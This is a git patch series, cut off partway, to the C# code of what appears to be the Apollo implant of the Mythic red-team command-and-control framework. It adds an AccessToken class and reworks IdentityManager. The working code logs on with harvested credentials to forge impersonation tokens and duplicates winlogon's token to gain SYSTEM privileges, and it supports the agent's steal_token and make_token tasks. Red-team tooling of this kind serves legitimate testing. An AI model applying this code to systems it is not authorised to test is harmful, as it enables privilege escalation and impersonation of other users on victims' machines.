From 7902544fe1bcc84ebe19c4e7469f3900fc84d457 Mon Sep 17 00:00:00 2001 From: Jack Ullrich Date: Mon, 9 Mar 2026 15:42:40 -0400 Subject: [PATCH 1/6] Token updates --- .../Classes/Impersonation/AccessToken.cs | 458 ++++++++++++++++++ .../Classes/Impersonation/SafeTokenHandle.cs | 24 + 2 files changed, 482 insertions(+) create mode 100644 Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs create mode 100644 Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs new file mode 100644 index 00000000..83373b96 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs @@ -0,0 +1,458 @@ +using ApolloInterop.Structs; +using ApolloInterop.Structs.ApolloStructs; +using ApolloInterop.Structs.MythicStructs; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using static ApolloInterop.Constants.Win32; +using static ApolloInterop.Enums.Win32; +using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; +using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; +using static ApolloInterop.Structs.Win32; + +namespace ApolloInterop.Classes.Impersonation +{ + public sealed class AccessToken : IDisposable + { + public SafeTokenHandle TokenHandle { get; } + public ApolloLogonInformation? SourceCredentials { get; } + + public bool IsNetworkOnly => GetTokenSource() == "Seclogo"; + + public bool CanImpersonate => !IsNetworkOnly && + HasPrivilege(TokenPrivilege.SeImpersonatePrivilege, requireEnabled: true); + + public AccessToken(SafeTokenHandle handle) + : this(handle, null) + { + + } + + public AccessToken(SafeTokenHandle handle, ApolloLogonInformation? creds) + { + TokenHandle = handle ?? throw new ArgumentNullException(nameof(handle)); + + if (TokenHandle.IsInvalid) + throw new ArgumentException("Invalid token handle.", nameof(handle)); + + SourceCredentials = creds; + } + + public void Dispose() + { + TokenHandle?.Dispose(); + } + + public string GetUserPrincipalName() + { + IntPtr info = IntPtr.Zero; + int length = 0; + + try + { + GetTokenInformation(TokenHandle, + TokenInformationClass.TokenUser, + IntPtr.Zero, + 0, + out length); + + if (length == 0) + throw new Win32Exception(Marshal.GetLastWin32Error()); + + info = Marshal.AllocHGlobal(length); + + if (!GetTokenInformation(TokenHandle, + TokenInformationClass.TokenUser, + info, + length, + out length)) + throw new Win32Exception(Marshal.GetLastWin32Error()); + + TOKEN_USER tu = (TOKEN_USER)Marshal.PtrToStructure(info, typeof(TOKEN_USER)); + + StringBuilder name = new StringBuilder(256); + StringBuilder domain = new StringBuilder(256); + int nameLen = name.Capacity; + int domainLen = domain.Capacity; + int peUse; + + if (!LookupAccountSid(null, + tu.User.Sid, + name, + ref nameLen, + domain, + ref domainLen, + out peUse)) + { + throw new Win32Exception(Marshal.GetLastWin32Error()); + } + + return domain.Length > 0 ? $"{domain}\\{name}" : name.ToString(); + } + finally + { + if (info != IntPtr.Zero) + Marshal.FreeHGlobal(info); + } + } + + private string GetTokenSource() + { + IntPtr info = IntPtr.Zero; + int length = 0; + + try + { + GetTokenInformation(TokenHandle, + TokenInformationClass.TokenSource, + IntPtr.Zero, + 0, + out length); + + if (length == 0) + return string.Empty; + + info = Marshal.AllocHGlobal(length); + + if (!GetTokenInformation(TokenHandle, + TokenInformationClass.TokenSource, + info, + length, + out length)) + return string.Empty; + + TOKEN_SOURCE src = (TOKEN_SOURCE)Marshal.PtrToStructure( + info, typeof(TOKEN_SOURCE)); + + if (src.SourceName == null) + return string.Empty; + + return Encoding.ASCII.GetString(src.SourceName).TrimEnd('\0'); + } + finally + { + if (info != IntPtr.Zero) + Marshal.FreeHGlobal(info); + } + } + + private string LookupPrivilegeName(Win32.LUID luid) + { + int len = 0; + LookupPrivilegeNameW(null, ref luid, null, ref len); + + var sb = new StringBuilder(len + 1); + + if (LookupPrivilegeNameW(null, ref luid, sb, ref len)) + return sb.ToString(); + + return string.Empty; + } + + private IEnumerable<(string Name, PrivilegeAttributes Attributes)> EnumerateRawPrivileges() + { + IntPtr info = IntPtr.Zero; + int length = 0; + + try + { + GetTokenInformation( + TokenHandle, + TokenInformationClass.TokenPrivileges, + IntPtr.Zero, + 0, + out length); + + if (length == 0) + yield break; + + info = Marshal.AllocHGlobal(length); + + if (!GetTokenInformation( + TokenHandle, + TokenInformationClass.TokenPrivileges, + info, + length, + out length)) + yield break; + + uint count = (uint)Marshal.ReadInt32(info); + IntPtr ptr = new IntPtr(info.ToInt64() + sizeof(uint)); + + for (int i = 0; i < count; i++) + { + var la = Marshal.PtrToStructure(ptr); + string name = LookupPrivilegeName(la.Luid); + yield return (name, la.Attributes); + + ptr = new IntPtr(ptr.ToInt64() + Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES))); + } + } + finally + { + if (info != IntPtr.Zero) + Marshal.FreeHGlobal(info); + } + } + + public bool HasPrivilege(TokenPrivilege privilege, bool requireEnabled = true) + { + string target = privilege.ToString(); + + foreach (var (name, attrs) in EnumerateRawPrivileges()) + { + if (string.Equals(name, target, StringComparison.OrdinalIgnoreCase)) + { + if (!requireEnabled) + return true; + + return (attrs & PrivilegeAttributes.SE_PRIVILEGE_ENABLED) != 0; + } + } + + return false; + } + + public IEnumerable<(TokenPrivilege Privilege, bool Enabled)> EnumeratePrivileges() + { + foreach (var (name, attrs) in EnumerateRawPrivileges()) + { + bool enabled = (attrs & PrivilegeAttributes.SE_PRIVILEGE_ENABLED) != 0; + + if (Enum.TryParse(name, ignoreCase: true, out TokenPrivilege parsed)) + { + yield return (parsed, enabled); + } + else + { + yield return ((TokenPrivilege)(-1), enabled); + } + } + } + + public AccessToken Duplicate( + TokenType tokenType = TokenType.TokenImpersonation, + TokenAccessLevels access = TokenAccessLevels.MaximumAllowed, + TokenImpersonationLevel level = TokenImpersonationLevel.Impersonation) + { + var result = DuplicateTokenEx( + TokenHandle, + access, + IntPtr.Zero, + level, + tokenType, + out SafeTokenHandle dup + ); + + if (!result) + { + throw new Win32Exception(Marshal.GetLastWin32Error()); + } + + return new AccessToken(dup); + } + + public IntegrityLevel GetIntegrityLevel() + { + int length = 0; + + GetTokenInformation( + TokenHandle, + TokenInformationClass.TokenIntegrityLevel, + IntPtr.Zero, + 0, + out length + ); + + if (length == 0 && Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER) + return 0; + + IntPtr buffer = Marshal.AllocHGlobal(length); + try + { + if (!GetTokenInformation( + TokenHandle, + TokenInformationClass.TokenIntegrityLevel, + buffer, + length, + out length)) + return 0; + + var tml = Marshal.PtrToStructure(buffer); + IntPtr pCount = GetSidSubAuthorityCount(tml.Label.Sid); + int subAuthCount = Marshal.ReadByte(pCount); + IntPtr pRid = GetSidSubAuthority(tml.Label.Sid, subAuthCount - 1); + int rid = Marshal.ReadInt32(pRid); + + if (rid < SECURITY_MANDATORY_LOW_RID) + return 0; + else if (rid < SECURITY_MANDATORY_MEDIUM_RID) + return (IntegrityLevel)1; + else if (rid >= SECURITY_MANDATORY_MEDIUM_RID && rid < SECURITY_MANDATORY_HIGH_RID) + return (IntegrityLevel)2; + else if (rid >= SECURITY_MANDATORY_HIGH_RID && rid < SECURITY_MANDATORY_SYSTEM_RID) + return (IntegrityLevel)3; + else if (rid >= SECURITY_MANDATORY_SYSTEM_RID) + return (IntegrityLevel)4; + + return 0; + } + finally + { + Marshal.FreeHGlobal(buffer); + } + } + + public override string ToString() + { + string user = GetUserPrincipalName(); + IntegrityLevel il = GetIntegrityLevel(); + + return $"User: {user}, IL: {il}, NetOnly: {IsNetworkOnly}, CanImpersonate: {CanImpersonate}"; + } + + public static AccessToken FromCurrentProcess() + { + IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; + + if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out SafeTokenHandle hTok)) + throw new Win32Exception(Marshal.GetLastWin32Error()); + + return new AccessToken(hTok); + } + + public static AccessToken FromCurrentThreadOrProcess() + { + if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, true, out SafeTokenHandle hTok)) + return new AccessToken(hTok); + + int err = Marshal.GetLastWin32Error(); + + if (err != Error.ERROR_NO_TOKEN) + throw new Win32Exception(err); + + return FromCurrentProcess(); + } + + public static AccessToken FromLogonUser(ApolloLogonInformation info) + { + if (!LogonUserW( + info.Username, + info.Domain, + info.Password, + info.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE, + LogonProvider.LOGON32_PROVIDER_WINNT50, + out SafeTokenHandle hTok)) + throw new Win32Exception(Marshal.GetLastWin32Error()); + + return new AccessToken(hTok, info); + } + + public static AccessToken FromSystemByProcessName(string processName = "winlogon") + { + var procs = System.Diagnostics.Process.GetProcessesByName(processName); + + if (procs.Length == 0) + throw new InvalidOperationException($"{processName} not found."); + + IntPtr hProcess = procs[0].Handle; + + if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out SafeTokenHandle hTok)) + throw new Win32Exception(Marshal.GetLastWin32Error()); + + using var baseTok = new AccessToken(hTok); + + return baseTok.Duplicate( + tokenType: TokenType.TokenImpersonation, + access: TokenAccessLevels.MaximumAllowed, + level: TokenImpersonationLevel.Impersonation + ); + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool GetTokenInformation( + SafeHandle TokenHandle, + TokenInformationClass TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength + ); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool LookupAccountSid( + string lpSystemName, + IntPtr Sid, + StringBuilder Name, + ref int cchName, + StringBuilder ReferencedDomainName, + ref int cchReferencedDomainName, + out int peUse); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool LookupPrivilegeNameW( + string? lpSystemName, + ref Win32.LUID lpLuid, + StringBuilder? lpName, + ref int cchName + ); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenThreadToken( + IntPtr ThreadHandle, + uint DesiredAccess, + bool OpenAsSelf, + out SafeTokenHandle TokenHandle + ); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken( + IntPtr ProcessHandle, + uint DesiredAccess, + out SafeTokenHandle TokenHandle + ); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool DuplicateTokenEx( + SafeTokenHandle hExistingToken, + TokenAccessLevels dwDesiredAccess, + IntPtr lpTokenAttributes, + TokenImpersonationLevel ImpersonationLevel, + TokenType TokenType, + out SafeTokenHandle phNewToken + ); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetCurrentThread(); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool GetTokenInformation( + SafeTokenHandle TokenHandle, + TokenInformationClass TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength + ); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool LogonUserW( + string lpszUsername, + string lpszDomain, + string lpszPassword, + LogonType dwLogonType, + LogonProvider dwLogonProvider, + out SafeTokenHandle phToken + ); + + private const uint TOKEN_ALL_ACCESS = 0xF01FF; + } +} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs new file mode 100644 index 00000000..3471533e --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs @@ -0,0 +1,24 @@ +using Microsoft.Win32.SafeHandles; +using System; +using System.Runtime.InteropServices; + +namespace ApolloInterop.Classes.Impersonation +{ + public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid + { + public SafeTokenHandle() : base(ownsHandle: true) { } + + public SafeTokenHandle(IntPtr handle) : base(true) + { + SetHandle(handle); + } + + protected override bool ReleaseHandle() + { + return CloseHandle(handle); + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + } +} \ No newline at end of file From fcbe8409c985ed624cd24b1d05a1d0c0844796b5 Mon Sep 17 00:00:00 2001 From: Jack Ullrich Date: Mon, 9 Mar 2026 16:33:26 -0400 Subject: [PATCH 2/6] Impersonation fixes... --- .../Management/Identity/IdentityManager.cs | 442 ++++++++++-------- .../ApolloInterop/Classes/Core/Tasking.cs | 9 +- .../Classes/Impersonation/AccessToken.cs | 32 +- .../Impersonation/ImpersonationScope.cs | 34 ++ .../Classes/Impersonation/TokenPrivilege.cs | 54 +++ .../KerberosTickets/KerberosHelpers.cs | 89 ++-- .../agent_code/Process/SacrificialProcess.cs | 85 ++-- .../apollo/agent_code/Tasks/execute_coff.cs | 150 ++---- .../apollo/agent_code/Tasks/make_token.cs | 6 +- .../apollo/agent_code/Tasks/steal_token.cs | 6 +- .../apollo/apollo/agent_code/Tasks/whoami.cs | 8 +- 11 files changed, 531 insertions(+), 384 deletions(-) create mode 100644 Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/ImpersonationScope.cs create mode 100644 Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/TokenPrivilege.cs diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs index 34ff253a..94fc4a4c 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs @@ -1,26 +1,27 @@ -using ApolloInterop.Interfaces; +using ApolloInterop.Classes.Api; +using ApolloInterop.Interfaces; using ApolloInterop.Structs.ApolloStructs; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Utils; using System; +using System.Runtime.InteropServices; using System.Security.Principal; -using ApolloInterop.Classes.Api; -using static ApolloInterop.Enums.Win32; using static ApolloInterop.Constants.Win32; -using System.Runtime.InteropServices; +using static ApolloInterop.Enums.Win32; using static ApolloInterop.Structs.Win32; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; namespace Apollo.Management.Identity; public class IdentityManager : IIdentityManager { - private IAgent _agent; + private readonly IAgent _agent; + private readonly object _identitySync = new(); private ApolloLogonInformation _userCredential; - private WindowsIdentity _originalIdentity = WindowsIdentity.GetCurrent(); - private WindowsIdentity _currentPrimaryIdentity = WindowsIdentity.GetCurrent(); - private WindowsIdentity _currentImpersonationIdentity = WindowsIdentity.GetCurrent(); - private bool _isImpersonating = false; + private WindowsIdentity _originalIdentity; + private WindowsIdentity _currentPrimaryIdentity; + private WindowsIdentity _currentImpersonationIdentity; + private bool _isImpersonating; private IntPtr _executingThread = IntPtr.Zero; private IntPtr _originalImpersonationToken = IntPtr.Zero; @@ -53,8 +54,7 @@ private delegate bool SetThreadToken( ref IntPtr hThread, IntPtr hToken); - private delegate bool CloseHandle( - IntPtr hHandle); + private delegate bool CloseHandle(IntPtr hHandle); private delegate bool GetTokenInformation( IntPtr tokenHandle, @@ -62,38 +62,29 @@ private delegate bool GetTokenInformation( IntPtr tokenInformation, int tokenInformationLength, out int returnLength); - - private delegate bool SetTokenInformation( - IntPtr tokenHandle, - TokenInformationClass tokenInformationClass, - IntPtr tokenInformation, - int tokenInformationLength); private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid); private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority); - private delegate bool LogonUserA( + private delegate bool LogonUserW( string lpszUsername, string lpszDomain, string lpszPassword, LogonType dwLogonType, LogonProvider dwLogonProvider, out IntPtr phToken); - //private delegate bool RevertToSelf(); - - private GetCurrentThread _GetCurrentThread; - private OpenThreadToken _OpenThreadToken; - private OpenProcessToken _OpenProcessToken; - private DuplicateTokenEx _DuplicateTokenEx; - private SetThreadToken _SetThreadToken; - private CloseHandle _CloseHandle; - private GetTokenInformation _GetTokenInformation; - private SetTokenInformation _SetTokenInformation; - private GetSidSubAuthorityCount _GetSidSubAuthorityCount; - private GetSidSubAuthority _GetSidSubAuthority; - - private LogonUserA _pLogonUserA; - // private RevertToSelf _RevertToSelf; + + private readonly GetCurrentThread _GetCurrentThread; + private readonly OpenThreadToken _OpenThreadToken; + private readonly OpenProcessToken _OpenProcessToken; + private readonly DuplicateTokenEx _DuplicateTokenEx; + private readonly SetThreadToken _SetThreadToken; + private readonly CloseHandle _CloseHandle; + private readonly GetTokenInformation _GetTokenInformation; + private readonly GetSidSubAuthorityCount _GetSidSubAuthorityCount; + private readonly GetSidSubAuthority _GetSidSubAuthority; + + private readonly LogonUserW _pLogonUserW; #endregion @@ -105,14 +96,18 @@ public IdentityManager(IAgent agent) _OpenThreadToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenThreadToken"); _OpenProcessToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); _DuplicateTokenEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DuplicateTokenEx"); - //_RevertToSelf = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "RevertToSelf"); _SetThreadToken = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetThreadToken"); _CloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); _GetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetTokenInformation"); - _SetTokenInformation = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetTokenInformation"); _GetSidSubAuthorityCount = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetSidSubAuthorityCount"); _GetSidSubAuthority = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "GetSidSubAuthority"); - _pLogonUserA = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserA"); + _pLogonUserW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW"); + + _originalIdentity = WindowsIdentity.GetCurrent(); + _currentPrimaryIdentity = _originalIdentity; + _currentImpersonationIdentity = _originalIdentity; + _isImpersonating = false; + _userCredential = new ApolloLogonInformation(); _executingThread = _GetCurrentThread(); SetImpersonationToken(); @@ -126,192 +121,250 @@ private void SetPrimaryToken() TOKEN_ALL_ACCESS, true, out _originalPrimaryToken); + int dwError = Marshal.GetLastWin32Error(); - if (!bRet && Error.ERROR_NO_TOKEN == dwError) + + if (!bRet) { - IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; - bRet = _OpenProcessToken( - hProcess, - TOKEN_ALL_ACCESS, - out _originalPrimaryToken); + if (dwError == Error.ERROR_NO_TOKEN) + { + IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; + bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out _originalPrimaryToken); + if (!bRet) + throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}"); + } + else + { + throw new Exception($"Failed to open thread token: {dwError}"); + } } - else if (!bRet) + + if (_originalPrimaryToken == IntPtr.Zero) + _originalPrimaryToken = _originalIdentity.Token; + } + + private void SetImpersonationToken() + { + bool bRet = _OpenThreadToken( + _executingThread, + TOKEN_ALL_ACCESS, + true, + out IntPtr hToken); + + int dwError = Marshal.GetLastWin32Error(); + + if (!bRet) { - throw new Exception($"Failed to open thread token: {dwError}"); + if (dwError == Error.ERROR_NO_TOKEN) + { + IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; + bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken); + if (!bRet) + throw new Exception($"Failed to acquire process token: {Marshal.GetLastWin32Error()}"); + } + else + { + throw new Exception($"Failed to open thread token: {dwError}"); + } } - else + + bRet = _DuplicateTokenEx( + hToken, + TokenAccessLevels.MaximumAllowed, + IntPtr.Zero, + TokenImpersonationLevel.Impersonation, + TokenType.TokenImpersonation, + out _originalImpersonationToken); + + _CloseHandle(hToken); + + if (!bRet) + throw new Exception($"Failed to duplicate impersonation token: {Marshal.GetLastWin32Error()}"); + + if (_originalImpersonationToken == IntPtr.Zero) + _originalImpersonationToken = _originalIdentity.Token; + } + + private void RevertInternal() + { + if (!_SetThreadToken(ref _executingThread, _originalImpersonationToken)) { - throw new Exception($"Failed to open thread token and have unhandled error. dwError: {dwError}"); + DebugHelp.DebugWriteLine($"[!] Revert() failed to restore thread token: {Marshal.GetLastWin32Error()}"); } - if (_originalPrimaryToken == IntPtr.Zero) - _originalPrimaryToken = WindowsIdentity.GetCurrent().Token; + + _userCredential = new ApolloLogonInformation(); + _currentImpersonationIdentity = _originalIdentity; + _currentPrimaryIdentity = _originalIdentity; + _isImpersonating = false; } public bool IsOriginalIdentity() { - return !_isImpersonating; + lock (_identitySync) + { + return !_isImpersonating; + } } - public (bool,IntPtr) GetSystem() + + public (bool, IntPtr) GetSystem() { - if (GetIntegrityLevel() is IntegrityLevel.HighIntegrity) + lock (_identitySync) { + if (GetIntegrityLevel() is not IntegrityLevel.HighIntegrity) + return (false, IntPtr.Zero); + IntPtr hToken = IntPtr.Zero; - System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon"); - IntPtr handle = processes[0].Handle; + IntPtr hDupToken = IntPtr.Zero; - bool success = _OpenProcessToken(handle, 0x0002, out hToken); - if (!success) + try { - DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!"); - return (false,new IntPtr()); + System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon"); + if (processes.Length == 0) + return (false, IntPtr.Zero); + + IntPtr handle = processes[0].Handle; + bool success = _OpenProcessToken( + handle, + (uint)(TokenAccessLevels.Query | TokenAccessLevels.Duplicate), + out hToken); + + if (!success) + { + DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!"); + return (false, IntPtr.Zero); + } + + success = _DuplicateTokenEx( + hToken, + TokenAccessLevels.MaximumAllowed, + IntPtr.Zero, + TokenImpersonationLevel.Impersonation, + TokenType.TokenImpersonation, + out hDupToken); + + if (!success) + { + DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateTokenEx failed!"); + return (false, IntPtr.Zero); + } + + DebugHelp.DebugWriteLine("[+] Got SYSTEM token!"); + return (true, hDupToken); } - IntPtr hDupToken = IntPtr.Zero; - success = _DuplicateTokenEx(hToken, TokenAccessLevels.MaximumAllowed, IntPtr.Zero, TokenImpersonationLevel.Impersonation, TokenType.TokenImpersonation, out hDupToken); - if (!success) + finally { - DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateToken failed!"); - return (false,new IntPtr()); + if (hToken != IntPtr.Zero) + _CloseHandle(hToken); } - DebugHelp.DebugWriteLine("[+] Got SYSTEM token!"); - return (true, hDupToken); - } - else - { - return (false,new IntPtr()); } } public IntegrityLevel GetIntegrityLevel() { - IntPtr hToken = _currentImpersonationIdentity.Token; + IntPtr hToken; + + lock (_identitySync) + { + hToken = _currentImpersonationIdentity.Token; + } + int dwRet = 0; - bool bRet = false; int dwTokenInfoLength = 0; - IntPtr pTokenInformation = IntPtr.Zero; - TokenMandatoryLevel tokenLabel; IntPtr pTokenLabel = IntPtr.Zero; - IntPtr pSidSubAthorityCount = IntPtr.Zero; - bRet = _GetTokenInformation( + + _GetTokenInformation( hToken, TokenInformationClass.TokenIntegrityLevel, IntPtr.Zero, 0, out dwTokenInfoLength); + if (dwTokenInfoLength == 0 || Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER) return (IntegrityLevel)dwRet; + pTokenLabel = Marshal.AllocHGlobal(dwTokenInfoLength); + try { - bRet = _GetTokenInformation( + bool bRet = _GetTokenInformation( hToken, TokenInformationClass.TokenIntegrityLevel, pTokenLabel, dwTokenInfoLength, out dwTokenInfoLength); + if (bRet) { - tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel)); - pSidSubAthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid); - dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, Marshal.ReadInt32(pSidSubAthorityCount) - 1)); + TokenMandatoryLevel tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel)); + IntPtr pSidSubAuthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid); + int subAuthorityCount = Marshal.ReadByte(pSidSubAuthorityCount); + + if (subAuthorityCount > 0) + { + dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, subAuthorityCount - 1)); + } + if (dwRet < SECURITY_MANDATORY_LOW_RID) dwRet = 0; else if (dwRet < SECURITY_MANDATORY_MEDIUM_RID) dwRet = 1; - else if (dwRet >= SECURITY_MANDATORY_MEDIUM_RID && dwRet < SECURITY_MANDATORY_HIGH_RID) + else if (dwRet < SECURITY_MANDATORY_HIGH_RID) dwRet = 2; - else if (dwRet >= SECURITY_MANDATORY_HIGH_RID && dwRet < SECURITY_MANDATORY_SYSTEM_RID) + else if (dwRet < SECURITY_MANDATORY_SYSTEM_RID) dwRet = 3; - else if (dwRet >= SECURITY_MANDATORY_SYSTEM_RID) - dwRet = 4; else - dwRet = 0; // unknown - should be unreachable. - + dwRet = 4; } } catch (Exception ex) - { } + { + DebugHelp.DebugWriteLine($"[!] GetIntegrityLevel() failed: {ex.Message}"); + } finally { Marshal.FreeHGlobal(pTokenLabel); } + return (IntegrityLevel)dwRet; } - private void SetImpersonationToken() + public WindowsIdentity GetCurrent() { - bool bRet = _OpenThreadToken( - _executingThread, - TOKEN_ALL_ACCESS, - true, - out IntPtr hToken); - int dwError = Marshal.GetLastWin32Error(); - if (!bRet && Error.ERROR_NO_TOKEN == dwError) + lock (_identitySync) { - IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; - bRet = _OpenProcessToken( - hProcess, - TOKEN_ALL_ACCESS, - out hToken); - if (!bRet) - { - throw new Exception($"Failed to acquire Process token: {Marshal.GetLastWin32Error()}"); - } - bRet = _DuplicateTokenEx( - hToken, - TokenAccessLevels.MaximumAllowed, - IntPtr.Zero, - TokenImpersonationLevel.Impersonation, - TokenType.TokenImpersonation, - out _originalImpersonationToken); - - if (!bRet) - { - throw new Exception($"Failed to acquire Process token: {Marshal.GetLastWin32Error()}"); - } - } - else if (!bRet) - { - throw new Exception($"Failed to open thread token: {dwError}"); - } - - if (_originalImpersonationToken == IntPtr.Zero) - { - _originalImpersonationToken = _originalIdentity.Token; + return _currentImpersonationIdentity; } } - public WindowsIdentity GetCurrent() - { - return _currentImpersonationIdentity; - } - public WindowsIdentity GetOriginal() { - return _originalIdentity; + lock (_identitySync) + { + return _originalIdentity; + } } public bool SetIdentity(ApolloLogonInformation logonInfo) { - bool bRet = false; - int dwError = 0; - IntPtr hToken = IntPtr.Zero; - - Revert(); - // Blank out the old struct - _userCredential = logonInfo; - - bRet = _pLogonUserA( - _userCredential.Username, - _userCredential.Domain, - _userCredential.Password, - _userCredential.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE, - LogonProvider.LOGON32_PROVIDER_WINNT50, - out hToken); - - if (bRet) + lock (_identitySync) { + RevertInternal(); + + bool bRet = _pLogonUserW( + logonInfo.Username, + logonInfo.Domain, + logonInfo.Password, + logonInfo.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE, + LogonProvider.LOGON32_PROVIDER_WINNT50, + out IntPtr hToken); + + if (!bRet) + { + return false; + } + _currentPrimaryIdentity = new WindowsIdentity(hToken); - _CloseHandle(hToken); + bRet = _DuplicateTokenEx( _currentPrimaryIdentity.Token, TokenAccessLevels.MaximumAllowed, @@ -319,75 +372,98 @@ public bool SetIdentity(ApolloLogonInformation logonInfo) TokenImpersonationLevel.Impersonation, TokenType.TokenImpersonation, out IntPtr dupToken); - if (bRet) - { - _currentImpersonationIdentity = new WindowsIdentity(dupToken); - _CloseHandle(dupToken); - _isImpersonating = true; - } - else + + if (!bRet) { - Revert(); + _CloseHandle(hToken); + RevertInternal(); + return false; } + + _currentImpersonationIdentity = new WindowsIdentity(dupToken); + _isImpersonating = true; + _userCredential = logonInfo; + + _CloseHandle(hToken); + _CloseHandle(dupToken); + + return true; } - return bRet; } public void SetPrimaryIdentity(WindowsIdentity ident) { - _currentPrimaryIdentity = ident; - _isImpersonating = true; + lock (_identitySync) + { + _currentPrimaryIdentity = ident; + _isImpersonating = true; + } } public void SetPrimaryIdentity(IntPtr hToken) { - _currentPrimaryIdentity = new WindowsIdentity(hToken); - _isImpersonating = true; + lock (_identitySync) + { + _currentPrimaryIdentity = new WindowsIdentity(hToken); + _isImpersonating = true; + } } public void SetImpersonationIdentity(WindowsIdentity ident) { - _currentImpersonationIdentity = ident; - _isImpersonating = true; + lock (_identitySync) + { + _currentImpersonationIdentity = ident; + _isImpersonating = true; + } } public void SetImpersonationIdentity(IntPtr hToken) { - _currentImpersonationIdentity = new WindowsIdentity(hToken); - 